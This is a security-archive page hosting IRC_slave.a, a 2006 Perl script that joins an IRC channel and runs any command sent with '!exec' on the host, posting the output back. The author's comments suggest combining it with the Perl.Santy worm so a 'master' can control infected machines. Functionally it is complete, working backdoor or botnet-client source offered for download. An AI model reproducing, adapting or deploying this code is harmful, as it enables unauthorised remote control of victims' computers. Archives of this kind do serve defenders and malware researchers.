what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

IRC_slave.a.txt

IRC_slave.a.txt
Posted Mar 21, 2006
Authored by saic | Site saic.sapht.com

IRC_slave.a is a perl script designed to listen on a specified IRC channel and execute commands on the host running the script.

tags | perl
SHA-256 | 53d088089b935357d79526fc69ee0901b9009d69abfe8823e2ab2313466dd941

IRC_slave.a.txt

Change Mirror Download
#!/usr/bin/perl
# IRC_slave.a coded by saic
#
# IRC_slave can be a very powerful script if it's combined with a
# worm such as Perl.Santy giving the master an enviornment to work
# with. This code allows you, as the user, to execute commands on
# the host running the script. The only commands added in the public
# release are !disconnect (which disconnects the slave - duh) and !exec
# (which executes commands on the host running on the script).
#
# The public release of IRC_slave.a is FULLY under the GNU GPL. It wasn't
# an accident that license.txt was added to the same directory. If you
# want to link, publish or even modify this coding at least ADMIT that
# you did not write it. Lovemail can be sent to introop at gmail dot com.

use IO::Socket;

#######################
# CONNECTION SETTINGS #
#######################

$nickname = 'Shell';
$channel = 'channel';
$server = 'irc.quakenet.org';
$port = '6667';

######################
# RANDOMIZE NICKNAME #
######################

$lower = 0;
$upper = 9999;
$random = int(rand( $upper-$lower+1 ) ) + $lower;

my $IRC_nickname = "$nickname$random";

##############
# CONNECTION #
##############

$sock = IO::Socket::INET->new(
PeerAddr => $server,
PeerPort => $port,
Proto => 'tcp' ) or die "could not make the connection";

while ($line = <$sock>) {
print $line;
if ($line =~ /(NOTICE AUTH).*(checking ident)/i) {
print $sock "NICK $IRC_nickname$random\nUSER $IRC_nickname 0 0 :$IRC_nickname\n";
last;
}
}

while($line = <$sock>){
print $line;
if($line =~ /^PING/){
print $sock "PONG :" . (split(/ :/, $line))[1];
}
if($line =~ /(376|422)/i){
print $sock "NICKSERV :identify nick_password\n";
last;
}
}

sleep 3;
print $sock "JOIN #$channel\n";

while ($line = <$sock>) {
($command, $text) = split(/ :/, $line);
if ($command eq 'PING') {
while ( (index($text,"\r") >= 0) || (index($text,"\n") >= 0) ) {
chop($text);
}
print $sock "PONG $text\n";
next;
}
($nick,$type,$channel) = split(/ /, $line);
($nick,$hostname) = split(/!/, $nick);
$nick =~ s/://;
$text =~ s/://;
$/ = "\r\n";
while ($text =~ m#$/$#) {
chomp($text);
}

#####################
# DISCONNECTING BOT #
#####################
# Usage: !disconnect bot_nickname

if ($text =~ /!disconnect $IRC_nickname/gi) {
print $sock "QUIT\n";
}

#####################
# COMMAND EXECUTION #
#####################
# Usage: !exec command
# This will kill the bot if the output is large, but I'm not fixing
# it in the public release.

if ($text =~ /!exec/gi) {
$text =~ s/!exec//g;
my $exec_output;
$exec_output = readpipe "$text";
print $sock "PRIVMSG $channel :$exec_output\r\n";
}
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close